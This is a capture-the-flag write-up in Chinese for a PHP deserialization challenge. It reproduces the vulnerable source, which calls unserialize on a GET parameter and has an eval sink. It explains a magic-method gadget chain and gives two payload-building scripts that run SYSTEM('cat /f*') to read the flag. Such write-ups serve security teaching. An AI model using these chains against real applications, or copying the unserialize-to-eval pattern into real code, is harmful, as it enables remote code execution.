<?php
include "waf.php";
class NISA{
public $fun="show_me_flag";
public $txw4ever;
public function __wakeup()
{
if($this->fun=="show_me_flag"){
hint();
}
}
function __call($from,$val){
$this->fun=$val[0];
}
public function __toString()
{
echo $this->fun;
return " ";
}
public function __invoke()
{
checkcheck($this->txw4ever);
@eval($this->txw4ever);
}
}
class TianXiWei{
public $ext;
public $x;
public function __wakeup()
{
$this->ext->nisa($this->x);
}
}
class Ilovetxw{
public $huang;
public $su;
public function __call($fun1,$arg){
$this->huang->fun=$arg[0];
}
public function __toString(){
$bb = $this->su;
return $bb();
}
}
class four{
public $a="TXW4EVER";
private $fun='abc';
public function __set($name, $value)
{
$this->$name=$value;
if ($this->fun = "sixsixsix"){
strtolower($this->a);
}
}
}
if(isset($_GET['ser'])){
@unserialize($_GET['ser']);
}else{
highlight_file(__FILE__);
}
//func checkcheck($data){
// if(preg_match(......)){
// die(something wrong);
// }
//}
//function hint(){
// echo ".......";
// die();
//}
?>
代码接收一个ser变量来反序列化
//class NISA
public function __invoke()
{
checkcheck($this->txw4ever);
@eval($this->txw4ever); //eval高危函数 执行代码
}
首先我们的最终目的肯定是触发NISA的invoke 方法 - 对象被当作函数调⽤时
然后我们查找对象在哪里被当作函数调用
//Class ilovetxw
public function __toString(){
$bb = $this->su;
return $bb();
}
然后发现在Ilovetxw的toString方法会被调用 - 把类当作字符串使⽤时调用
// Class Four
if ($this->fun = "sixsixsix"){
strtolower($this->a);
}
这里会把a变量转换成小写(strtolower)肯定调用toString
但是拥有判断fun = “sixsixsix”而fun是private私有
// class ilovetxw
public function __call($fun1,$arg){
$this->huang->fun=$arg[0];
}
这里可以设置fun 为入参
call是在对象上下⽂中调⽤不可访问的⽅法时触发
//class TianXiWei
public function __wakeup()
{
$this->ext->nisa($this->x);
}
也就是 TianXiWei::_wakeup -> ilovetxw::__call -> Four:: _set -> ilovetxw::_toString -> NISA::__invoke
$a = new TianXiWei();
$a->ext = new Ilovetxw();
$a->ext->huang = new four();
$a->x = "sixsixsix"; //fun
$a->ext->huang->a = new Ilovetxw();
$a->ext->huang->a->su = new NISA();
$a->ext->huang->a->su->txw4ever = "SYSTEM('cat /f*');";
$a->ext->huang->a->su->fun = "666";
echo(urlencode(serialize($a)));
邪修
//class NISA
public function __wakeup()
{
if($this->fun=="show_me_flag"){
hint();
}
}
NISA会在wakeup里面与”show_me_flag”弱比较 假设我们的fun设置成ilovetxw这个类 那不是直接会调用tostring方法吗
$a = new NISA();
$a ->fun = new Ilovetxw();
$a ->fun ->su = new NISA();
$a ->fun ->su->txw4ever = "SYSTEM('cat /f*');";
$a ->fun ->su->fun = "666";
echo(urlencode(serialize($a)));
